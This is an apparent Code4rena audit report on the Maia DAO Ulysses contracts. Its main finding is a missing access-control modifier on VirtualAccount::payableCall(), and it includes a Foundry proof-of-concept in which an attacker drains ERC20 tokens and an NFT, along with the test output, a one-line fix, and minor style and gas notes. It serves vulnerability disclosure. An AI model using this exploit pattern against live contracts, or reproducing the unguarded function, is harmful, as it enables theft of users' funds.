Maia DAO - Ulysses - Aamir's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85-L112

Vulnerability details

The VirtualAccount::payableCall() function is used to call any contract with ether. But there is no modifier applied whether who is allowed to call the function. Considering there is a requiresApprovedCaller modifier applied on VirtualAccount::call() function which allow only account owner or approved caller to execute any function from the virtual account. But no such type of modifier is applied on VirtualAccount::payableCall(). That means anyone can call the function passing any type of calldata in PayableCall[] calldata calls and can take out funds from it very easily.

Not sure if this is expected that anyone can call this function or not. But even if this is true, the lost of fund is still guaranteed

Here is the affected code:

function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;

            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

            if (!success) revert CallFailed();

            unchecked {
                ++i;
            }
        }

        // Finally, make sure the msg.value = SUM(call[0...i].value)
        if (msg.value != valAccumulator) revert CallFailed();
    }

Link to the original code: [Link]

Impact

Account holder will lost all of his tokens both ERC20 and ERC721.

Proof of Concept

Here is how the attack can happen

1. Alice calls fetchVirtualAccount() function on RootPort that will fetch the details of the user if it exist already or it will create new VirtualAccount for that user.
2. User sends token to this VirtualAccount.
3. Bob(an Attacker) creates a call data for calling VirtualAccount::payableCall() function. The call data includes data to transfer all tokens directly to Bob.
4. Bob call the VirtualAccount::payableCall() function.
5. VirtualAccount transfers the tokens to Bob leaving account empty.

Code for the Test POC

Link to the original Test: [Test]

    function test_AnyoneCanCallPayableCallFunctionToTakeOutVirtualAccountFundsWithoutSendingItAnyEther() public {
        // setup
        console2.log("\n\tStarting the test");
        address user = makeAddr("Alice");
        address attacker = makeAddr("Bob");
        uint256 userTokenAmount = 100 ether;

        console2.log("\t\t Deploying new Mock ERC20 and Mock UniswapV3NFT...");
        // deploying new ERC20 token and ERC721 NFT
        MockERC20 newToken = new MockERC20("Test token", "TEST", 18);
        // NOTE: this is very simplified version of nft. the actual Uniswap nft could be more
        // complex and might have minting and transfer condition. this is just for the testing purpose
        UniV3NFT newNFTToken = new UniV3NFT("Test NFT", "TEST");

        console2.log("\t\t Alice(user) creats new Virtual Account adn mints some of the tokens...\n");
        // creating new account for the user
        VirtualAccount account = rootPort.fetchVirtualAccount(user);

        // checking if created account is valid
        require(account.userAddress() == user, "invalid user");
        require(account.localPortAddress() == address(rootPort), "invalid local port");
        // transferring some token to the user so that he can deposit in virtual account
        newToken.mint(user, userTokenAmount);

        vm.startPrank(user);
        // user mint new NFT
        uint256 tokenId = newNFTToken.mint(user);

        console2.log("\t\t\t > Token balance of Alice: %s", newToken.balanceOf(user));
        console2.log("\t\t\t > Owner of NFT for tokenID[%s] = %s\n\n", tokenId, newNFTToken.ownerOf(tokenId));
        console2.log("\t\t Alice transfers all of the tokens to virtual account\n");

        // user transfer all of his tokens to the virtual account
        newToken.transfer(address(account), userTokenAmount);
        // user transfer the new NFT to the virtual account
        newNFTToken.transferFrom(user, address(account), tokenId);
        vm.stopPrank();

        console2.log("\t\t\t > Token balance of Alice: %s", newToken.balanceOf(user));
        console2.log("\t\t\t > Token balance of VirtualAccount: %s", newToken.balanceOf(address(account)));
        console2.log("\t\t\t > Token balance of Bob: %s", newToken.balanceOf(attacker));
        console2.log("\t\t\t > Owner of NFT for tokenID[%s] = %s\n\n", tokenId, newNFTToken.ownerOf(tokenId));

        // getting balances
        uint256 virtualAccountBalance = MockERC20(newToken).balanceOf(address(account));
        uint256 userBalance = MockERC20(newToken).balanceOf(user);

        // checking if virtual account has got all the tokens of user
        require(virtualAccountBalance == userTokenAmount, "invalid balance of virtual account");
        require(userBalance == 0, "invalid balance of user");

        // attakcer sees that the virtual account has balance start preparing call data
        console2.log("\t\t Bob calls payableCall() to transfer tokens to his account\n");

        // getting balances before the transfer
        uint256 attackerBalanceBefore = newToken.balanceOf(attacker);
        uint256 virtualAccountBalanceBefore = newToken.balanceOf(address(account));

        vm.startPrank(attacker);
        PayableCall[] memory calls = new PayableCall[](2);

        // attacker use payableCall function to transfer himself all of the tokens in the alice's virtual account
        // also he didn't need to transfer any ether to the virtual account as the function didn't
        // check that as well
        calls[0] = PayableCall({
            target: address(newToken),
            callData: abi.encodeWithSelector(ERC20.transfer.selector, attacker, userTokenAmount),
            value: 0
        });

        // calldata to transfer the nft
        calls[1] = PayableCall({
            target: address(newNFTToken),
            callData: abi.encodeWithSelector(ERC20.transferFrom.selector, address(account), attacker, tokenId),
            value: 0
        });

        // performing call
        VirtualAccount(payable(address(account))).payableCall(calls);

        console2.log("\t\t\t > Token balance of Alice: %s", newToken.balanceOf(user));
        console2.log("\t\t\t > Token balance of Bob: %s", newToken.balanceOf(attacker));
        console2.log("\t\t\t > Token balance of virtual account: %s", newToken.balanceOf(address(account)));
        console2.log("\t\t\t > Owner of NFT for tokenID[%s] = %s\nnn", tokenId, newNFTToken.ownerOf(tokenId));

        vm.stopPrank();

        // getting balances after the transfer
        uint256 attackerBalanceAfter = newToken.balanceOf(attacker);
        uint256 virtualAccountBalanceAfter = newToken.balanceOf(address(account));

        // attacker should not have anything before the call
        require(attackerBalanceBefore == 0, "invalid amount");

        // attaker should have all the userTokens after the call
        require(attackerBalanceAfter - attackerBalanceBefore == userTokenAmount, "Nope you didn't get anything looser!");

        // virtual account balance before the transfer should be equal to transferred token by the user
        require(virtualAccountBalanceBefore == userTokenAmount, "invalid amount");

        // virtual account should not have anything after the transfer
        require(virtualAccountBalanceAfter == 0, "I still got the amount");
        require(newNFTToken.ownerOf(tokenId) == attacker, "No you are not");
        console2.log("\tTest passed successfully");
    }

Output

        Starting the test
                 Deploying new Mock ERC20 and Mock UniswapV3NFT...
                 Alice(user) creats new Virtual Account adn mints some of the tokens...

                         > Token balance of Alice: 100000000000000000000
                         > Owner of NFT for tokenID[0] = 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea


                 Alice transfers all of the tokens to virtual account

                         > Token balance of Alice: 0
                         > Token balance of VirtualAccount: 100000000000000000000
                         > Token balance of Bob: 0
                         > Owner of NFT for tokenID[0] = 0x9E96FF2B2FC3F9BDD11235D777e80f90d22e4983


                 Bob calls payableCall() to transfer tokens to his account

                         > Token balance of Alice: 0
                         > Token balance of Bob: 100000000000000000000
                         > Token balance of virtual account: 0
                         > Owner of NFT for tokenID[0] = 0x4dBa461cA9342F4A6Cf942aBd7eacf8AE259108C
nn
        Test passed successfully

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.06s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommended Mitigation Steps

Add requiresApprovedCaller modifier to the function.

-    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
+    function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData)
        ...
     }

Assessed type

Access Control

Summary

Non Critical

[N-0] Typos <a id="nonCritical1"></a>

Instance 1:

is is Used twice in the ArbitrumCoreBranchRouter Natspac

File: src/ArbitrumCoreBranchRouter.sol

19    * @dev    The function `addGlobalToken` is is not available since it's used

GitHub: 19

Instance 2:

is is used in the following line of code that is grammatically incorrect

File: src/interfaces/ICoreBranchRouter.sol

10    *         This contract is allows users to permissionlessly add new tokens

GitHub: 10

[N-1] Incorrect/Unnecessary comment in following CoreRootRouter functions <a id="nonCritical2"></a>

There is no use for this comment. Either change it according to the function or remove it

Instances [Total 6]

File: src/CoreRootRouter.sol

138         //Add new global token to branch chain

173         //Add new global token to branch chain

198         //Add new global token to branch chain

225         //Add new global token to branch chain

256         //Add new global token to branch chain

286         //Add new global token to branch chain

Github: 138, 173, 198, 225, 256, 286

[N-2] Solidity best practice for naming internal function not followed <a id="nonCritical3"></a>

According to solidity guidelines, the name of the internal function should start with and underscore (_). This is not followed in RooPort::addVirtualAccount(...) function

instance:

359    function addVirtualAccount(address _user) internal returns (VirtualAccount newAccount) {

GitHub: 359

Summary

Gas

[G-0] Unnecessary initialization for loop variables <a id="gas0"></a>

No need to initialize the loop variable i in the beginning. Default value for uint256 is 0

Instances [total 15]:

File: src/BaseBranchRouter.sol

192:         for (uint256 i = 0; i < _hTokens.length;) {

GitHub: 192

File: src/BranchBridgeAgent.sol

447:         for (uint256 i = 0; i < deposit.tokens.length;) {

513:         for (uint256 i = 0; i < numOfAssets;) {

GitHub: 447, 513

File: src/BranchPort.sol

257:         for (uint256 i = 0; i < length;) {

305:         for (uint256 i = 0; i < length;) {

GitHub: 257, 305

File: src/MulticallRootRouter.sol

278:             for (uint256 i = 0; i < outputParams.outputTokens.length;) {

367:             for (uint256 i = 0; i < outputParams.outputTokens.length;) {

455:             for (uint256 i = 0; i < outputParams.outputTokens.length;) {

557:         for (uint256 i = 0; i < outputTokens.length;) {

GitHub: 278, 367, 455, 557

File: src/RootBridgeAgent.sol

318:         for (uint256 i = 0; i < settlement.hTokens.length;) {

399:         for (uint256 i = 0; i < length;) {

1070:        for (uint256 i = 0; i < hTokens.length;) {

GitHub: 318, 399, 1070

File: src/RootBridgeAgentExecutor.sol

281:         for (uint256 i = 0; i < uint256(uint8(numOfAssets));) {

GitHub: 281

File: src/VirtualAccount.sol

70:          for (uint256 i = 0; i < length;) {

90:          for (uint256 i = 0; i < length;) {

GitHub: 70, 90

[G-1] Unnecessary concatenation of strings in ERC20hTokenRoot.sol <a id="gas1"></a>

There is no need to use string.concate() since there is only one argument passed.

Instance:

File: src/token/ERC20hTokenRoot.sol

38    ) ERC20(string(string.concat(_name)), string(string.concat(_symbol)), _decimals) {

GitHub: 38